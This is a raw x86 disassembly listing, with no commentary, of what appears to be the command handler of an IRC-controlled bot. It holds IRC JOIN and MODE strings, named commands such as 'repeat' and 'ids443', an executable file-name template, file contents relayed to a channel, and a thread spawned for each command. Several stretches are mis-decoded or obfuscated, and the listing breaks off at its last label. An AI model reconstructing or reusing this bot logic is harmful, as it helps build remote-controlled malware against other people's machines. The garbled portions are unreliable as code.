push offset unk_434AF4
push eax
call sub_4154CD
push esi
lea eax, [ebp-2C8h]
push 15h
push eax
call sub_414F79
add esp, 28h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push 40BCD3h
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410559
loc_410543: ; CODE XREF: seg000:00410557j
cmp [ebp-568h], ebx
jnz loc_40FBCC
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_410543
; ---------------------------------------------------------------------------
loc_410559: ; CODE XREF: seg000:00410541j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434AA0
jmp loc_41075C
; ---------------------------------------------------------------------------
loc_41056A: ; CODE XREF: seg000:0040F386j
; seg000:0040F39Dj
push 7Fh
lea eax, [ebp-774h]
pop esi
push esi
push edi
push eax
call sub_416D20
push esi
lea eax, [ebp-6F4h]
push dword ptr [ebp+20h]
push eax
call sub_416D20
push esi
lea eax, [ebp-674h]
push dword ptr [ebp+8]
push eax
call sub_416D20
push esi
lea eax, [ebp-5F4h]
push dword ptr [ebp-8Ch]
push eax
call sub_416D20
mov eax, [ebp-8]
push dword ptr [ebp+8]
mov esi, [ebp-4]
mov [ebp-56Ch], eax
mov eax, [ebp+0Ch]
push dword ptr [ebp+20h]
mov [ebp-778h], eax
lea eax, [ebp-2C8h]
push edi
push offset dword_434A60
push eax
mov [ebp-570h], esi
call sub_4154CD
add esp, 44h
lea eax, [ebp-2C8h]
push ebx
push 0Bh
push eax
call sub_414F79
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-778h]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_41063D
loc_41062B: ; CODE XREF: seg000:0041063Bj
cmp [ebp-568h], ebx
jnz short loc_410658
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_41062B
; ---------------------------------------------------------------------------
loc_41063D: ; CODE XREF: seg000:00410629j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset dword_434A14
push eax
call sub_4154CD
add esp, 0Ch
loc_410658: ; CODE XREF: seg000:00410631j
cmp [ebp-8], ebx
jnz loc_412834
push ebx
push esi
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_410668: ; CODE XREF: seg000:0040F341j
; seg000:0040F358j ...
push 7Fh
lea eax, [ebp-7F0h]
pop esi
push esi
push edi
push eax
call sub_416D20
push esi
lea eax, [ebp-770h]
push dword ptr [ebp+20h]
push eax
call sub_416D20
push esi
lea eax, [ebp-6F0h]
push dword ptr [ebp+8]
push eax
call sub_416D20
push esi
lea eax, [ebp-670h]
push dword ptr [ebp-8Ch]
push eax
call sub_416D20
push 20h
lea eax, [ebp-5F0h]
push dword ptr [ebp+10h]
push eax
call sub_416D20
mov eax, [ebp-4]
push dword ptr [ebp+8]
mov esi, [ebp+0Ch]
mov [ebp-570h], eax
mov eax, [ebp-8]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
lea eax, [ebp-2C8h]
push edi
push offset unk_4349D0
push eax
mov [ebp-7F8h], esi
call sub_4154CD
add esp, 50h
lea eax, [ebp-2C8h]
push ebx
push 0Ah
push eax
call sub_414F79
add esp, 0Ch
mov [ebp-7F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-7F8h]
push ebx
push eax
push offset start
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-7F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410750
loc_41073A: ; CODE XREF: seg000:0041074Ej
cmp [ebp-568h], ebx
jnz loc_40FBCC
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_41073A
; ---------------------------------------------------------------------------
loc_410750: ; CODE XREF: seg000:00410738j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434984
loc_41075C: ; CODE XREF: seg000:0040FBAEj
; seg000:0040FCF9j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
jmp loc_40FBC9
; ---------------------------------------------------------------------------
loc_41076D: ; CODE XREF: seg000:0040F313j
; seg000:0040F32Aj
push 7Fh
lea eax, [ebp-444h]
push edi
push eax
call sub_416D20
push dword ptr [ebp+20h]
call sub_415A3F
push 3Fh
mov [ebp-2F4h], eax
push dword ptr [ebp+8]
lea eax, [ebp-3C4h]
push eax
call sub_416D20
mov esi, [ebp+esi-84h]
add esp, 1Ch
cmp esi, ebx
jz short loc_4107BB
push 3Fh
lea eax, [ebp-384h]
push esi
push eax
call sub_416D20
add esp, 0Ch
loc_4107BB: ; CODE XREF: seg000:004107A7j
lea eax, [ebp-3C4h]
mov dword ptr [ebp-2F0h], 1
push eax
lea eax, [ebp-444h]
push dword ptr [ebp-2F4h]
push eax
lea eax, [ebp-2C8h]
push offset unk_434940
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 17h
push eax
call sub_414F79
add esp, 20h
mov [ebp-2ECh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-448h]
push ebx
push eax
push offset sub_40CB59
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-2ECh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410847
loc_410831: ; CODE XREF: seg000:00410845j
cmp [ebp-2E8h], ebx
jnz loc_40F6F7
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_410831
; ---------------------------------------------------------------------------
loc_410847: ; CODE XREF: seg000:0041082Fj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4348F4
jmp loc_40F6E8
; ---------------------------------------------------------------------------
loc_410858: ; CODE XREF: seg000:0040F2D3j
; seg000:0040F2EAj
push dword ptr [ebp+20h]
call sub_415A3F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_410949
mov esi, 80h
push edi
lea eax, [ebp-700h]
push esi
push eax
call sub_415A4A
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_415A4A
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
push edi
push offset unk_4348B4
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
push ebx
lea eax, [ebp-2C8h]
push 0Dh
push eax
call sub_414F79
add esp, 38h
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset loc_401447
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410938
loc_410922: ; CODE XREF: seg000:00410936j
cmp [ebp-568h], ebx
jnz loc_40F795
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_410922
; ---------------------------------------------------------------------------
loc_410938: ; CODE XREF: seg000:00410920j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434868
jmp loc_40F786
; ---------------------------------------------------------------------------
loc_410949: ; CODE XREF: seg000:00410869j
push offset unk_43481C
jmp loc_412012
; ---------------------------------------------------------------------------
loc_410953: ; CODE XREF: seg000:0040F2A5j
; seg000:0040F2BCj
push dword ptr [ebp+20h]
push edi
call near ptr 3D0000h
push es
test eax, eax
jz short loc_410980
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push edi
push offset unk_4347E4
push 200h
push eax
call sub_415A4A
jmp loc_4111A3
; ---------------------------------------------------------------------------
loc_410980: ; CODE XREF: seg000:0041095Fj
push offset dword_4347C4
call loc_409BEC
push eax
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
add esp, 10h
jmp loc_40F795
; ---------------------------------------------------------------------------
loc_4109A4: ; CODE XREF: seg000:0040F277j
; seg000:0040F28Ej
push edi
lea eax, [ebp-77Ch]
push 104h
push eax
call sub_415A4A
add esp, 0Ch
cmp [ebp-0Ch], ebx
jz short loc_4109DE
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4109DE
push eax
lea eax, [ebp-678h]
push eax
call sub_4154CD
pop ecx
pop ecx
loc_4109DE: ; CODE XREF: seg000:004109BCj
; seg000:004109CDj
push dword ptr [ebp-8Ch]
lea eax, [ebp-7FCh]
push 80h
push eax
call sub_415A4A
mov eax, [ebp+0Ch]
mov [ebp-800h], eax
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-678h]
push eax
lea eax, [ebp-77Ch]
push eax
push offset unk_434780
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
push ebx
lea eax, [ebp-2C8h]
push 1Bh
push eax
call sub_414F79
add esp, 2Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-800h]
push ebx
push eax
push offset sub_40876C
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410A91
loc_410A7B: ; CODE XREF: seg000:00410A8Fj
cmp [ebp-568h], ebx
jnz loc_412834
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_410A7B
; ---------------------------------------------------------------------------
loc_410A91: ; CODE XREF: seg000:00410A79j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434730
jmp loc_412825
; ---------------------------------------------------------------------------
loc_410AA2: ; CODE XREF: seg000:0040F249j
; seg000:0040F260j
push 44h
lea eax, [ebp-48Ch]
pop esi
push esi
push ebx
push eax
call sub_415550
push 1
mov [ebp-48Ch], esi
pop esi
mov [ebp-45Ch], bx
push edi
mov [ebp-460h], esi
call sub_415A3F
add esp, 10h
cmp eax, esi
jnz short loc_410ADF
mov word ptr [ebp-45Ch], 5
loc_410ADF: ; CODE XREF: seg000:00410AD4j
cmp [ebp-0Ch], ebx
jz loc_40F6F7
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_415AA0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40F6F7
lea eax, [ebp-2D8h]
push eax
lea eax, [ebp-48Ch]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 3D0000h
add byte ptr [ebp+681875C0h], 0F8h
inc esi
inc ebx
add [ebp-2C77Bh], cl ; CODE XREF: seg000:00410CBCj
; seg000:0041134Fj ...
call dword ptr [eax-18h]
pushf
dec ecx
; ---------------------------------------------------------------------------
db 0
dd 0E9595900h, 0FFFFEBBFh, 46CC6857h, 0A5E90043h
; ---------------------------------------------------------------------------
jmp short near ptr loc_410B40+1 ; CODE XREF: seg000:loc_410B40j
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
loc_410B43: ; CODE XREF: seg000:0040F21Bj
; seg000:0040F232j
push dword ptr [ebp+20h]
push offset aIds443 ; "ids443"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_410CB7
lea eax, [ebp-3E8h]
push eax
push 104h
call near ptr 3D0000h
cdq
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_416D20
lea eax, [ebp-2E4h]
push eax
call sub_41410C
push eax
lea eax, [ebp-3E8h]
push eax
lea eax, [ebp-688h]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4154CD
mov eax, [ebp+esi-88h]
add esp, 20h
cmp eax, ebx
mov dword ptr [ebp-584h], 1
mov [ebp-580h], ebx
jz short loc_410BD5
push 10h
push ebx
push eax
call sub_416A69
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_410BDB
; ---------------------------------------------------------------------------
loc_410BD5: ; CODE XREF: seg000:00410BBFj
mov [ebp-578h], ebx
loc_410BDB: ; CODE XREF: seg000:00410BD3j
mov esi, [ebp+esi-84h]
cmp esi, ebx
jz short loc_410BF5
push esi
call sub_415A3F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_410BFB
; ---------------------------------------------------------------------------
loc_410BF5: ; CODE XREF: seg000:00410BE4j
mov [ebp-57Ch], ebx
loc_410BFB: ; CODE XREF: seg000:00410BF3j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_416D20
mov eax, [ebp-4]
push edi
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
lea eax, [ebp-2C8h]
push offset unk_434680
push eax
call sub_4154CD
push esi
lea eax, [ebp-2C8h]
push 16h
push eax
call sub_414F79
add esp, 24h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push 40BCD3h
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_410CA6
loc_410C90: ; CODE XREF: seg000:00410CA4j
cmp [ebp-568h], ebx
jnz loc_40F6F7
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_410C90
; ---------------------------------------------------------------------------
loc_410CA6: ; CODE XREF: seg000:00410C8Ej
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434630
jmp loc_40F6E8
; ---------------------------------------------------------------------------
loc_410CB7: ; CODE XREF: seg000:00410B54j
push offset unk_4345D8
jmp near ptr loc_410B24+1
; ---------------------------------------------------------------------------
loc_410CC1: ; CODE XREF: seg000:0040F1EDj
; seg000:0040F204j
push dword ptr [ebp-90h]
push offset dword_436450
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40D1FD
cmp [ebp-0Ch], ebx
jz loc_40D1FD
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_415AA0
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_4345C8
push eax
call sub_4154CD
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_416D20
push edi
call sub_415A3F
add esp, 30h
test eax, eax
jle short loc_410D48
push edi
call sub_415A3F
imul eax, 3E8h
pop ecx
push eax
call ds:dword_421060 ; Sleep
loc_410D48: ; CODE XREF: seg000:00410D32j
push offset dword_4345A0
call sub_40B151
mov eax, [ebp+2Ch]
pop ecx
inc eax
jmp loc_40D200
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: seg000:0040F1BFj
; seg000:0040F1D6j
push dword ptr [ebp-90h]
push offset dword_436450
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40D1FD
cmp [ebp-0Ch], ebx
jz loc_412974
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_415AA0
mov esi, eax
mov eax, [ebp+20h]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_4158F0
add esp, 10h
test eax, eax
push esi
jz short loc_410E18
push dword ptr [ebp-8Ch]
lea eax, [ebp-2C8h]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_4345C8
push eax
call sub_4154CD
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_416D20
push esi
lea eax, [ebp-2C8h]
push offset dword_43456C
push eax
call sub_4154CD
lea eax, [ebp-2C8h]
push eax
call sub_40B151
push edi
call sub_415A3F
add esp, 38h
test eax, eax
jle loc_412974
push edi
call sub_415A3F
add eax, [ebp+2Ch]
pop ecx
jmp loc_40D200
; ---------------------------------------------------------------------------
loc_410E18: ; CODE XREF: seg000:00410DA1j
push offset dword_434524
jmp loc_40F6E8
; ---------------------------------------------------------------------------
loc_410E22: ; CODE XREF: seg000:0040F191j
; seg000:0040F1A8j
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset dword_43451C
push eax
call sub_4154CD
push edi
call sub_415A3F
add esp, 10h
loc_410E3F: ; CODE XREF: seg000:00410EA9j
test eax, eax
jle loc_412974
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_412974
loc_410E59: ; CODE XREF: seg000:0041173Ej
lea eax, [ebp-2C8h]
push eax
push offset dword_425050
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call sub_412CEC
loc_410E7D: ; CODE XREF: seg000:004125D9j
add esp, 0Ch
jmp loc_412974
; ---------------------------------------------------------------------------
loc_410E85: ; CODE XREF: seg000:0040F163j
; seg000:0040F17Aj
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C8h]
push dword ptr [ebp+20h]
push offset dword_434510
push eax
call sub_4154CD
push edi
call sub_415A3F
add esp, 14h
jmp short loc_410E3F
; ---------------------------------------------------------------------------
loc_410EAB: ; CODE XREF: seg000:0040F135j
; seg000:0040F14Cj
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset dword_434508
push eax
call sub_4154CD
push edi
call sub_415A3F
add esp, 10h
test eax, eax
jle loc_412974
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_412974
lea eax, [ebp-2C8h]
push eax
push offset dword_425050
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call sub_412CEC
push dword ptr [ebp+20h]
push edi
push offset dword_4344D8
loc_410F0F: ; CODE XREF: seg000:00410F99j
; seg000:00411004j ...
call sub_40B1C5
loc_410F14: ; CODE XREF: seg000:004122A9j
add esp, 18h
jmp loc_412974
; ---------------------------------------------------------------------------
loc_410F1C: ; CODE XREF: seg000:0040F107j
; seg000:0040F11Ej
cmp [ebp-0Ch], ebx
jz loc_412974
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_415AA0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410F4D
push esi
lea eax, [ebp-2C8h]
push offset dword_4344D0
push eax
call sub_4154CD
add esp, 0Ch
loc_410F4D: ; CODE XREF: seg000:00410F36j
push edi
call sub_415A3F
test eax, eax
pop ecx
jle loc_412974
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_412974
lea eax, [ebp-2C8h]
push eax
push offset dword_425050
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call sub_412CEC
push esi
push edi
push offset dword_4344A0
jmp loc_410F0F
; ---------------------------------------------------------------------------
loc_410F9E: ; CODE XREF: seg000:0040F0D9j
; seg000:0040F0F0j
cmp [ebp-0Ch], ebx
jz loc_412974
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_415AA0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412974
push edi
call sub_415A3F
test eax, eax
pop ecx
jle loc_412974
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_412974
push esi
push offset dword_425050
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call sub_412CEC
push esi
push edi
push offset dword_434470
jmp loc_410F0F
; ---------------------------------------------------------------------------
loc_411009: ; CODE XREF: seg000:0040F0ABj
; seg000:0040F0C2j
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
push dword ptr [ebp-0Ch]
call sub_415AA0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412974
push esi
push offset aModeS ; "MODE %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push esi
push offset dword_434434
loc_41103B: ; CODE XREF: seg000:004118E3j
; seg000:004118FCj ...
call sub_40B1C5
loc_411040: ; CODE XREF: seg000:004110A9j
add esp, 14h
jmp loc_412974
; ---------------------------------------------------------------------------
loc_411048: ; CODE XREF: seg000:0040F07Dj
; seg000:0040F094j
push dword ptr [ebp-90h]
push offset dword_436450
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40D1FD
push dword ptr [ebp+20h]
push offset dword_434428
push dword ptr [ebp+0Ch]
call sub_412CEC
push edi
call sub_415A3F
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_421060 ; Sleep
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push offset dword_434400
call sub_40B151
jmp short loc_411040
; ---------------------------------------------------------------------------
loc_4110AB: ; CODE XREF: seg000:0040F04Fj
; seg000:0040F066j
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
call sub_415CD0
push dword ptr [ebp+10h]
mov esi, eax
call sub_415CD0
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_415AA0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_412974
push esi
lea eax, [ebp-2C8h]
push offset dword_434C98
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push edi
push dword ptr [ebp+0Ch]
call sub_412D32
push esi
push edi
push offset dword_4343D0
call sub_40B1C5
add esp, 2Ch
jmp loc_412974
; ---------------------------------------------------------------------------
loc_411119: ; CODE XREF: seg000:0040F021j
; seg000:0040F038j
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
call sub_415CD0
push dword ptr [ebp+10h]
mov esi, eax
call sub_415CD0
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_415AA0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_412974
push ebx
push ebx
push esi
push edi
push dword ptr [ebp+0Ch]
call sub_412D32
push esi
push edi
push offset dword_4343A0
call sub_40B1C5
jmp loc_40FD49
; ---------------------------------------------------------------------------
loc_41116C: ; CODE XREF: seg000:0040EFF3j
; seg000:0040F00Aj
cmp [ebp-0Ch], ebx
jz loc_40D1FD
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D1FD
push eax
push edi
call sub_40B059
push edi
lea eax, [ebp-2C8h]
push offset dword_434370
push eax
call sub_4154CD
loc_4111A3: ; CODE XREF: seg000:0041097Bj
add esp, 14h
jmp loc_40F795
; ---------------------------------------------------------------------------
loc_4111AB: ; CODE XREF: seg000:0040EFB3j
; seg000:0040EFCAj
push edi
push dword ptr [ebp+24h]
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jz loc_412974
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_411248
push esi
push dword ptr [ebp-0Ch]
call sub_415AA0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_411230
push esi
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_4345C8
push eax
call sub_4154CD
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_416D20
push esi
push edi
lea eax, [ebp-2C8h]
push offset dword_434338
push eax
call sub_4154CD
add esp, 34h
inc dword ptr [ebp+2Ch]
jmp loc_4124BC
; ---------------------------------------------------------------------------
loc_411230: ; CODE XREF: seg000:004111D8j
lea eax, [ebp-2C8h]
push offset dword_4342F4
push eax
call sub_4154CD
pop ecx
pop ecx
jmp loc_4124BC
; ---------------------------------------------------------------------------
loc_411248: ; CODE XREF: seg000:004111C7j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_40AD69
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
push edi
push offset dword_4342C8
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
add esp, 24h
jmp loc_4124BC
; ---------------------------------------------------------------------------
loc_41128F: ; CODE XREF: seg000:0040E9B8j
; seg000:0040E9CFj
push offset aR ; "r"
push edi
call sub_415BC8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_411309
mov ebx, 200h
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_41711C
add esp, 0Ch
loc_4112B8: ; CODE XREF: seg000:004112E7j
test eax, eax
jz short loc_4112E9
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_41711C
add esp, 20h
jmp short loc_4112B8
; ---------------------------------------------------------------------------
loc_4112E9: ; CODE XREF: seg000:004112BAj
push esi
call sub_415B20
push edi
lea eax, [ebp-2C8h]
push offset dword_434290
push eax
call sub_4154CD
add esp, 10h
jmp loc_40EF8B
; ---------------------------------------------------------------------------
loc_411309: ; CODE XREF: seg000:004112A0j
push edi
push offset dword_43425C
jmp loc_41284F
; ---------------------------------------------------------------------------
loc_411314: ; CODE XREF: seg000:0040E98Aj
; seg000:0040E9A1j
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
push dword ptr [ebp-0Ch]
call sub_415AA0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412974
push offset asc_426C7C ; "\n"
push esi
call sub_415BF0
push esi
call sub_40A5CD
add esp, 0Ch
test eax, eax
jnz short loc_411354
push offset dword_43421C
jmp near ptr loc_410B24+1
; ---------------------------------------------------------------------------
loc_411354: ; CODE XREF: seg000:00411348j
push esi
push offset dword_4341F0
jmp loc_4124AD
; ---------------------------------------------------------------------------
loc_41135F: ; CODE XREF: seg000:0040E95Cj
; seg000:0040E973j
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
push dword ptr [ebp-0Ch]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz loc_412974
push eax
call sub_409CB1
test eax, eax
pop ecx
jnz short loc_411390
push offset unk_4341C0
jmp near ptr loc_410B24+1
; ---------------------------------------------------------------------------
loc_411390: ; CODE XREF: seg000:00411384j
push offset dword_434190
jmp near ptr loc_410B24+1
; ---------------------------------------------------------------------------
loc_41139A: ; CODE XREF: seg000:0040E92Ej
; seg000:0040E945j
push 7Fh
lea eax, [ebp-6F4h]
push edi
push eax
call sub_416D20
mov esi, [ebp+esi-8Ch]
add esp, 0Ch
cmp esi, ebx
jz short loc_4113C9
push 7Fh
lea eax, [ebp-674h]
push esi
push eax
call sub_416D20
add esp, 0Ch
loc_4113C9: ; CODE XREF: seg000:004113B5j
push 7Fh
lea eax, [ebp-5F4h]
push dword ptr [ebp-8Ch]
push eax
call sub_416D20
mov eax, [ebp+0Ch]
push edi
mov [ebp-6F8h], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
mov eax, [ebp-4]
mov [ebp-56Ch], eax
lea eax, [ebp-2C8h]
push offset dword_434164
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 14h
push eax
call sub_414F79
add esp, 24h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-6F8h]
push ebx
push eax
push offset sub_40AE2F
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_411467
loc_411451: ; CODE XREF: seg000:00411465j
cmp [ebp-568h], ebx
jnz loc_4124BC
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_411451
; ---------------------------------------------------------------------------
loc_411467: ; CODE XREF: seg000:0041144Fj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434114
jmp loc_4124AD
; ---------------------------------------------------------------------------
loc_411478: ; CODE XREF: seg000:0040E900j
; seg000:0040E917j
push ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push edi
call loc_406394
push edi
push offset dword_4340EC
jmp loc_410F0F
; ---------------------------------------------------------------------------
loc_411493: ; CODE XREF: seg000:0040E8D2j
; seg000:0040E8E9j
push 14h
lea eax, [ebp-710h]
push ebx
push eax
call sub_415550
push edi
lea eax, [ebp-6FCh]
push offset aS_1 ; "%s"
push eax
call sub_4154CD
mov eax, [ebp+0Ch]
mov [ebp-718h], eax
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-5F8h]
push 80h
push eax
call sub_415A4A
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6FCh]
push eax
lea eax, [ebp-2C8h]
push offset dword_4340B4
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 12h
push eax
call sub_414F79
add esp, 40h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-718h]
push ebx
push eax
push 40B6F6h
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_411563
loc_41154D: ; CODE XREF: seg000:00411561j
cmp [ebp-568h], ebx
jnz loc_412834
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_41154D
; ---------------------------------------------------------------------------
loc_411563: ; CODE XREF: seg000:0041154Bj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_436350
jmp loc_412825
; ---------------------------------------------------------------------------
loc_411574: ; CODE XREF: seg000:0040E8A4j
